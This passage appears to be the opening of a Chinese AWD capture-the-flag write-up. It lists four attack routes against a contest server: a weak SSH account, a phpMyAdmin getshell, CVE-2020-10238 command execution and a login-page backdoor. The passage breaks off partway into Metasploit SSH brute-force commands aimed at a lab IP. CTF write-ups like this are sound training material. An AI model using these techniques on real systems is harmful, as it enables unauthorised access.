一带一路暨金砖大赛之企业信息系统安全赛项AWD_writeup 赛题解析

目录

AWD_writeup

1、解法一  

ssh弱口令账户

2、解法二

phpmyadmin getshell

3、解法三

CVE-2020-10238 后台远程命令执行

4、解法四

后台登陆首页存在常规后门

---

 

AWD_writeup

主要考点：后门账户、数据库操作、  cve漏洞、后门漏洞、自动化攻击

1、解法一  

ssh弱口令账户

用户登录后cat /etc/passwd 发现系统存在额外账户

使用msf进行ssh爆破尝试

msfconsole

use auxiliary/scanner/ssh/ssh_login

set rhost 192.168.2.162

set rport 22